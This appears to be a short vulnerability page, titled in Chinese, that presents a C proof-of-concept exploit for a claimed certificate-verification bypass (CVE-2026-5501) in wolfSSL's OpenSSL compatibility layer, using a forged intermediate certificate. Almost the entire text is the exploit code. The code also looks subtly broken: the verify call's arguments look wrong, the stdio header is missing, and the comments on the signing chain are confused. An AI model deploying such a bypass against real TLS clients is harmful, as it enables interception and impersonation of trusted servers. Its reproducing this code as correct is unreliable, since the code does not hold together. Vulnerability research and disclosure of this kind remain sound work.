CVE-2026-5501 wolfSSL证书验证绕过漏洞

/* * PoC for CVE-2026-5501 (Conceptual) * Demonstrates bypassing signature verification in wolfSSL OpenSSL compatibility layer. */ #include <wolfssl/openssl/x509.h> int main() { WOLFSSL_CTX* ctx = wolfSSL_CTX_new(wolfSSLv23_method()); // Load trusted CA store (including the Root that signed the forged intermediate) wolfSSL_CTX_load_verify_locations(ctx, "trusted_root.pem", 0); // 1. Load a valid leaf certificate (e.g., from Let's Encrypt) WOLFSSL_X509* leaf = wolfSSL_X509_load_certificate_file("legit_leaf.pem", SSL_FILETYPE_PEM); // 2. Load a forged intermediate certificate // Crucial: Basic Constraints CA:FALSE, but signed by the trusted Root. WOLFSSL_X509* intermediate = wolfSSL_X509_load_certificate_file("forged_intermediate.pem", SSL_FILETYPE_PEM); // 3. Construct the chain stack STACK_OF(WOLFSSL_X509)* chain = sk_WOLFSSL_X509_new_null(); sk_WOLFSSL_X509_push(chain, intermediate); // 4. Perform verification using the vulnerable compatibility function // In vulnerable versions, this returns WOLFSSL_SUCCESS (1) // even though 'leaf' is not signed by 'intermediate'. int result = wolfSSL_X509_verify_cert(leaf, chain); if (result == WOLFSSL_SUCCESS) { printf("[+] Exploit Successful: Signature verification bypassed!\n"); } else { printf("[-] Verification failed.\n"); } return 0; }